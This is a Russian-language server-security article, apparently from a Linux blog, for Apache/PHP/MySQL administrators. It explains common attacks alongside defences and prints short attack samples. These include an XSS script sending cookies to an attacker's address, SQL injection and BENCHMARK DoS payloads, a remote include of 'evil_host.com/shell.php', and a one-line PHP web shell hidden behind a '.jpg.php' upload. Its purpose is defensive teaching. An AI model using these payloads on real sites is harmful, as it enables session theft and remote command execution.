В данной статье хотелось бы собрать некоторые виды атак на сервера и средства защиты сервера от хакеров. На тему безопасности написано немерено книг и статей. Упор данной статьи сделан на базовые ошибки администраторов и решения по их устранению. После прочтения этой статьи и проверки собственного сервера администратор так же не сможет спать спокойно, он сможет только сказать я сдал "кандидатский минимум".
Помните администраторы три пословицы,
нет! лучше распечатайте их и повесьте в на своем рабочем месте перед глазами:
"Безопасность - это процесс",
"Когда админу нечего делать, он занимается безопасностью",
"Безопасность определяется по самому слабому звену"
Статья ориентирована на админов *nix + Apache + PHP + Perl + (MySQL | PostgreSQL) и защите серверов от удаленных атак, для остальных админов статья, я надеюсь, будет пищей для размышлений.
В разных книгах есть различные классификации атак хакеров, я введу свое деление на два условных класса ВСЕХ атак, разгруппирую их:
Чтобы понять мое деление, представьте есть вымышленный скрипт, который удаленно атакует Апач на 80 порту и в результате атаки Апач завершает свою работу и вы остаетесь без своего сайта, так как некому выдавать веб-странички. Вашему почтовому серверу sendmail отправили в качестве параметра для VRFY 1000 символов, а не короткое имя пользователя, sendmail не ожидал такого развития событий и закрылся, оставив вас без почты. Общий смысл атак этого условного класса, в том, что эксплуатируется какая-либо уязвимость приложения. И тут три пути -
Это всё атаки на сервис (п.п1) и лечатся они только одним способом: админ оперативно узнает от разработчика о наличии уязвимости и обновляет данную программу.
Атака по пункту 2 - это когда, динамический сервис, реализованный на некотором языке программирования, допускает получение параметров и, не проверяя их, выполняет. Например, с помощью браузера атакующий, ползая по сайту под управлением Апач, ищет уязвимости в самом сайте и эксплуатируя их, получает желаемое. Написанный на языке Tcl, бот для модерирования канала IRC сервера принимает запросы от пользователя (номер нового анекдота, дату дня для вывода погоды) и хакер, воссоздавая работу программного кода бота (reverse engineering), конструирует запросы, которые не были учтены автором бота.
Спросите как это? тогда вам точно нужна это статья. Так или иначе, чуть ниже все будет раcписано.
В данный раздел я отнес все атаки, чей удар приходится на систему и сервисы. Часто такие атаки возможны из ошибок в реализации программы, такие как переполнение буфера (buffer overflow). Если кратко, то это выглядит так, допустим в плохо написанном фтп сервере есть массив (буфер) для имени пользователя на определенное количество символов (к примеру 10), а получает такой фтп сервер 100 символов от недоброжелателя, если в коде фтп сервера такая ситуация не проверяется, то возникает переполнение буфера.
Что же полезного хакерам дает переполнение локального буфера? Можно перезаписать адрес возврата на злонамеренный код. Удаленно это позволяет выполнить произвольный код на целевой системе, локально, если программа запущена под root'ом, это позволит получить привилегии администратора системы. Код, вызывающий переполнение буфера и выполняющий действия для хакера, называют шелкодом (shell code). Написание шелкода это непростая задача и требует от хакера знаний ассемблера, что подразумевает профессионализм в данной области.
Защита от атак на уязвимые сервисы и сам сервер
Админам MS Windows нужно привыкать и чаще использовать формат дистрибутива MSI, который настоятельно рекомендуется Microsoft и поддерживает обновление старого пакета новым. Чтобы вы не делали на своем сервере, задайте себе вопрос, если появится новая версия этой программы, как легче обновить ее? Вы должны создать такое решение, которое вы полностью контролируете, да бывают проекты со своими разработками или патчами, но если ваши разработки требуют заморозки нужных вам приложений на определенной версии и вы не можете свои патчи применить к новой системе - ГРОШ цена такому решению!
Сделаю тут лирическое отступление и расскажу, как мне пришлось ломать себя. Начитавшись в Интернете статей, которые начинаются обычно так "скачайте исходник и поставьте его make install". И что дальше? Новую версию как будете ставить? Держать старую версию, чтобы в ней сделать make (de|un)install? А в новой снова make install? Эти вопросы мне задавал мой друг Дмитрий Дубровин, когда мы начинали осваивать FreeBSD. Я стал понимать, что он прав, и, по крайней мере, для Фри такой путь не годится и, не следуя пути разработчиков FreeBSD, я себе только всё усложнял.
Теперь освоив FreeBSD, когда парой команд скачиваются новые исходники для ядра Фри и всей системы, затем пара команд создают новый мир и ядро, а потом обновляются порты и приложения в системе, ты начинаешь понимать мощь *nix систем. Трудно передать гордость, которую испытываешь, когда обновляешь сервер с FreeBSD из старой ветки в текущую, перестроение мира системы, когда система сама себя компилирует из новых исходников (похоже как Мюнхаузен себя за волосы вытягивал) и все что до обновления работало, также работает "без напильника".
Как вы уже поняли, нужно обязательно подписаться на рассылки безопасности от разработчиков того софта, который поддерживает ваш бизнес и обновляться периодически. Обновление всего и вся должно быть отточено и поставлено на рельсы.
man security и, прочитав советы разработчиков, делать сказку былью. Но какая бы ни была операционная система нужно тщательно тестировать работу сервера и сервисов после тюнинга безопасности.Представьте реальную ситуацию, вражеский код пытается инициировать соединение с хостом хакера-хозяина, а у вас правило в файрволе "от меня в интернет все разрешено". Составляя правила для файрвола, нужно полностью представлять всю картину сетевого общения ваших сервисов между собой и удаленными клиентами.
В любом случае админ должен знать о таких вещах. Для облегчения труда админа созданы программы, которые проанализируют журналы на появление интересных фраз и отправят по почте администратору отчет. Не брезгуйте такой возможностью, такие программы сравнимы со стражниками, которые проверяют на доверенном пути, а все ли себя ведут так как предписано?
Тут единого нет решения, например если вы ставите из портов некую программу, то не пишите make install clean, так без вас все скачается, с компилируется и поставится. Лучше сделайте make fetch; make extract; потом зайдите в подкаталог files и там в исходниках можно подправить версию программы или выдать ее за другую и потом уже только make install clean.
Апач очень информативен не к месту и еще светит версиями системы, PHP, Perl, OpenSSL. Отключается безобразие указанием директив в httpd.conf ServerSignature Off ServerTokens Prod. В Интернете можно найти помощь при подмене баннеров на любую программу. Цель одна - лишить атакующего ценной информации. Глядя на свой список сервисов, доступных из Интернета, спросите себя не выдает ли он лишней информации о себе и хранимой им информации.
Например, DNS сервер bind может разрешать "перенос зоны" и ваши компьютеры с их IP и доменными именами будут доступны всем, а это плохо. Проверьте сами различными сканерами свой сервер и внимательно прочтите их результат работы. При замене баннера программы, советую вставить не случайный текст, а предупреждение об ответственности и о том, что действия журналируются. Так как были инциденты, когда хакера освобождали в зале суда, так как на взломанном фтп сервере была надпись "Welcome! Добро пожаловать!".
netstat -na | grep LISTEN и дайте себе ответ: вы знаете какие программы на каком интерфейсе и какой порт используют? Вы контролируете ситуацию? Хорошо если так.Разные пароли на разные сервисы легко сделать если сервисы будут авторизовать не как системных пользователей в базе /etc/passwd, а как виртуальных в своих собственных планарных или СУБД базах. Не храните пароли на серверах в файле password.txt ко всем ресурсам, к которым вы как админ имеете доступ.
Кстати, многие админы забывают такую вещь, зачем, например, учетным записям для работы Apache и MySQL иметь доступ к shell! Ведь это можно отключить и вместо shell указать /bin/false. Ну-ка, честно, проверьте на своем подотчетном сервере ваши учетные записи к программам и скажите, если я не прав. В ваших SQL базах ограничивайте аккаунты минимально необходимыми привилегиями. Не давайте привилегии FILE, когда вызывается только SELECT.
Подробнее об атаках на уязвимые сервисы и сам сервер.
В реальной жизни DoS часто выглядит так, из-за ошибки в программе, использование процессора подскакивает и долго держится у отметки 100%, а атакёр периодически использует данную дыру в программе. Криво написаное приложение может исчерпать всю оперативную память. Или "почтовая бомба" в виде сильно сжатого в архиве файла с множеством знаков [пробел], которого распакует для проверки антивирус и распакованный огромный файл переполнит раздел жестком диске на сервере или/и вызовет перезагрузку сервера.
Защита от атак DoS:
Как защитится от DDoS? Если будете надеяться на собственные силы и средства, то можно, автоматизируя работу скриптами выуживать IP адреса из различных логов и заносить в запрещающие правила файрвола. Так, например, поступил автор статьи "Есть ли жизнь под DDoS'ом?" в журнале Хакер. Блокируйте сети атакеров в файрволе, урон от DDoS можно уменьшить, если прочесть статьи по настройке ваших программ и выполнить эти инструкции. Например, для Apache есть множество статей как настроить его для минимизации урона от DDoS.
Защита от атак DDoS:
Защита от bruteforce пароля:
Данный вид атак часто происходит на связку Apache + (PHP | PERL) + (MySQL | PostgreSQL) для мира *nix и IIS + ASP + Microsoft SQL Server для мира MS Windows с помощью простого браузера, но это только частный случай, который просто чаще используется из-за популярности web. В данной связке языками программирования являются ASP, PHP, Perl, SQL поэтому их часто будут использовать хакеры для составления своих деструктивных конструкций.
НО самое главное следует уяснить, что таких связок сервис + поверх них динамический контент на языках программирования множество и следовательно все они под прицелом хакеров. Например вот такой неполный список:
Далее, речь пойдет большой частью о web-hack`е, но не забывайте о том, что все ниже описанное справедливо и для других связок сервис + динамический контент. Слова разные, а суть одна. Сегодня хакеры браузером атакуют web, завтра клиентом R против сервиса Z. Веб-сервер, сам будучи связан с базами данных и с многочисленными языками программирования, стал платформой для атак такого рода.
Смысл всех атак такого рода сводится к тому, чтобы пытаться с помощью браузера обследовать сайт на поиск ошибок в скриптах, обслуживающих динамическое содержимое (content) сайта.
Отсюда вывод - взлом сайта через атаку на web, на котором лежат только статические html-страницы, ссылающиеся только друг на друга, НЕВОЗМОЖЕН. Атаки через ваш Web-сайт появились, когда люди захотели больше интерактивности и добавляли оную через языки программирования и базы данных.
Хакеры сёрфя по сайту, особое внимание обращают на скрипты, которым передается какой-либо параметр. А что если автор скрипта не проверяет что именно передается в качестве значения параметра?
Общие решения для админа от атак на динамическое содержимое сервиса (Web-сайт, как частный случай)
# Сделать код PHP выглядящим как коды других типов
AddType application/x-httpd-php .asp .py .pl
# Сделать код PHP выглядящим как коды неизвестных типов
AddType application/x-httpd-php .bop .foo .133t
# Сделать код PHP выглядящим как html
AddType application/x-httpd-php .html .htm
Эта форма безопасности для PHP через скрытие имеет мало недостатков при небольших затратах. Сами хакеры, описывая свои взломы, пишут что скачивают такое же ПО, что расположено на вашем сервере, с сайта разработчика и смотрят с какими по-умолчанию именами таблиц/ путями/ работает тот или иной движок. Общий смысл в нестандартности - это затянуть процесс взлома, чтобы у хакера "блицкриг" не получился, а чем больше он тянет, тем больше вероятность его обнаружения.
Подробнее об атаках на динамическое содержимое (Web-сайт, как частный случай)
Хакер добавляет в редактируемые поля код на языке программирования установленный на стороне клиента, обычно это Java и VBScript, и этот код становится частью HTML страницы. Когда пользователь посещает такую страницу, его браузер, разбирая страницу, выполняет этот код.
Что делают хакеры, благодаря XSS?
<htмl><body>
<ifrаme srс=jаvаscript:аlеrt("XSS!")></sсript>
Уважаемый админ у мя произошла ошибка при посещении сайта<br> помогите </bоdy></htмl>
А ведь можно написать скрипт на Java и посерьезнее <script>document.location="адрес приемщика кукисов"+document.cookie</script>. Обычно подобные скрипты пишут на web-почту админу и, используя социальную инженерию, пытаются заставить его прочесть сообщение, чтобы получить его кукисы.
Если в кукисах нет привязки к IP адресу и дополнительных мер защиты, то подменяют свои кукисы на кукисы админа и пытаются попасть в админку, которая не проверяет логин и пароль и идентифицирует людей только по кукисам.
Решение проблемы:
$comment = htmlspecialchars($comment, ENT_QUOTES);
$query = "insert into guestbook
(name, location, email, url, comment) values
('$name', '$location', '$email', '$url', '$comment')";
mysql_query($query) or die (mysql_error());
Если подставленная кавычка вызывает "ошибку" (куча сообщений что не выполняется такой-то запрос в таком то скрипте по такому пути), то такой скрипт кандидат на прокачку его далее. Часто злоумышленники пользуются Гугл-хак'ом, запрашивая поисковик примерно такими запросами "site:www.жертва.ru Warning". Поисковик Гугл выдаст некорректные скрипты на вашем сайте, настолько древние, что они были давно уже проиндексированы пауком Гугла.
Код, не проверяющий значение и страдающий SQL injection
$id = $_REQUEST['id'];
$result = mysql_query("SELECT title, text, datenews, author FROM `news` WHERE `id`='$id'");
Теперь представьте что вместо числа, вам подставят "-1 union select null/*" (без кавычек) и тогда ваш запрос превратится
SELECT title, text, datenews, author FROM `news` WHERE `id`='-1 union select null/*'
То есть, хакер хочет, чтобы помимо вашего запроса выполнился его запрос, объединеный с вашим с помощью директивы union. А дальше хакер будет пытаться составлять другие запросы и, учитывая мощь языка SQL, ничего хорошего это админу не сулит. От дефейса (deface - замена стартовой страницы сайта) до получения прав root на вашем сервере. Хакер так же может провести DoS атаку благодаря SQL injection: site.com/getnews.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) пара таких запросов и сервер в 100% загрузке процессора надолго.
Защита от SQL инъекции:
$file = $_REQUEST['file'];
include($file.'.html');
Хакер, вместо 190607 подставит evil_host.com/shell.php и тогда вся адресная строка хакерского браузера будет выглядеть так site.com/postnews.php?file=evil_host.com/shell.php и на вашем сайте у хакера будет свой веб-шел с правами, которыми обладает Apache.
Защита от подключений файлов:
<? echo "<pre>";passthru($_GET['cmd']);echo "</pre>"; ?>
картинку переименуют avatara.jpg.php, для обхода большинства проверок на расширение, и будут использовать site.com/upload_images/avatara.jpg.php?cmd=команды_сервера
Защита от трояна:
<Files "\.php">
Order deny, allow
Deny from all
</Files>
Личное спасибо:
Другие источники информации о защите:
Итог:
Я надеюсь, статья помогла вам увидеть все проблемы вместе, теперь админ нужно прочесть о компьютерной безопасности, баз данных, веб серверов, языков программирования из дополнительных источников. Резюмируя кратко статью, нужно быть в курсе новостей о выходе проблем с безопасностью, обновлятся и проверять в своих наработках все входные данные на корректность.
Да прибудет с вами сила!
Дополнительная информация:
Безопасность Ubuntu
Правила AppArmor
Главная
Новости
Ворох бумаг
Видео Linux
Игры в Linux
Безопасность
Статьи об Astra Linux
Статьи о FreeBSD
Статьи об Ubuntu
Статьи о Snappy
Статьи об Ubuntu Phone
Статьи о Kubuntu
Статьи о Xubuntu
Статьи о Lubuntu
Статьи об Open Source
Карта сайта
Поддержите vasilisc.com!1С под Linux. Ускорение Ubuntu. 21 пример iptables. Цикл статей о Ceph. Убунту в дикой среде. Ubuntu Linux на SSD. Ubuntu для блондинок. Поддержка железа в Linux. BTSync на службе у админа. Андроид программы в Ubuntu. Прокидывание портов для p2p. Анти СПАМ в Postfix.